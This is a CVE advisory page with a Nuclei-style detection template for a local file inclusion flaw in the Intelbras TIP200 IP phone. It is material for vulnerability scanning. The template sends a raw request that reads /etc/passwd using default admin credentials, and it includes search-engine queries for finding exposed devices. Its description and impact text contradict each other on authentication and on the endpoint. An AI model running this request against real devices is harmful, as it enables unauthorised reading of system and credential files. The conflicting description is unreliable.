CVE-2020-24285: INTELBRAS TELEFONE IP TIP200 60.61.75.22 - Local File Inclusion

Description

INTELBRAS TELEFONE IP TIP200 version 60.61.75.22 is vulnerable to information disclosure, allowing unauthenticated attackers to access sensitive device information and configuration data via a direct request to the /cgi-bin/export_settings.sh endpoint.

PoC

id: CVE-2020-24285

info:
  name: INTELBRAS TELEFONE IP TIP200 60.61.75.22 - Local File Inclusion
  author: ritikchaddha
  severity: high
  description: |
    INTELBRAS TELEFONE IP TIP200 version 60.61.75.22 is vulnerable to information disclosure, allowing unauthenticated attackers to access sensitive device information and configuration data via a direct request to the /cgi-bin/export_settings.sh endpoint.
  impact: |
    Authenticated attackers can read arbitrary files from the device including configuration files and credentials, potentially leading to complete device compromise.
  remediation: |
    Update the device firmware to the latest version provided by INTELBRAS.
  reference:
    - https://github.com/SecLoop/CVE/blob/main/telefone_ip_tip200.md
    - https://nvd.nist.gov/vuln/detail/CVE-2020-24285
  classification:
    cve-id: CVE-2020-24285
    cwe-id: CWE-200
    epss-score: 0.04412
    epss-percentile: 0.90835
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
  metadata:
    vendor: intelbras
    product: tip200
    max-request: 1
    verified: true
    shodan-query: html:"/cgi-bin/cgiServer.exx"
    fofa-query: body="/cgi-bin/cgiServer.exx"
  tags: cve,cve2020,intelbras,telefone,tip200,exposure,lfi,vuln

variables:
  username: "admin"
  password: "admin"

http:
  - raw:
      - |
        GET /cgi-bin/cgiServer.exx?download=/etc/passwd HTTP/1.1
        Host: {{Hostname}}
        Authorization: Basic {{base64('{{username}}:' + '{{password}}')}}

    skip-variables-check: true
    matchers:
      - type: dsl
        dsl:
          - "contains_all(tolower(header), 'application/octet-stream', 'filename=')"
          - "regex('root:.*:0:0:', body)"
          - "status_code == 200"
        condition: and
# digest: 490a0046304402207e55ce262d020d76353ec802d0362786a520aedb22f177659afc2a75f7509bf8022077c56095ec2790c82ff6d22a8f2b95f936344880e14748636f0591ca16d55b40:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

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